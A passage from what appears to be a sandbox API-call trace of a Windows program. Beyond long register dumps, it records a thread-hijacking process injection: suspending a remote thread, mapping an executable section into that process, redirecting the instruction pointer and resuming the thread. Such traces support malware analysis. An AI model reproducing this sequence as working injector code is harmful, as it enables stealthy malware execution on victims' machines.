[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x8ffd30, Ebx=0x795000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x8ffcd8, Eip=0x31f9927, SegCs=0x23, EFlags=0x216, Esp=0x8ffcc0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0396.401] NtResumeThread (in: ThreadHandle=0x208, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0396.401] NtClose (Handle=0x20c) returned 0x0 [0396.401] NtClose (Handle=0x208) returned 0x0 [0396.402] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xdc0, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x208) returned 0x0 [0396.402] NtQueryInformationProcess (in: ProcessHandle=0x208, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0396.402] NtQueryInformationProcess (in: ProcessHandle=0x208, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0396.402] NtReadVirtualMemory (in: ProcessHandle=0x208, BaseAddress=0x10b3000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0396.402] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0401.488] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xdb8) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0401.489] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0401.503] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x208, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x30e0000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0401.508] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x135fb64, Ebx=0x10b3000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x135fb0c, Eip=0x7742295c, SegCs=0x23, EFlags=0x202, Esp=0x135faf4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0401.508] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x210) returned 0x0 [0401.509] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x156a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5580000, SectionOffset=0x0, ViewSize=0x6be574*=0x157000) returned 0x0 [0401.516] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0x208, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x156a00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x1520000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x157000) returned 0x0 [0401.690] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5580000) returned 0x0 [0401.861] NtClose (Handle=0x210) returned 0x0 [0401.861] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x135fb64, Ebx=0x10b3000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x135fb0c, Eip=0x15e4927, SegCs=0x23, EFlags=0x202, Esp=0x135faf4, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, 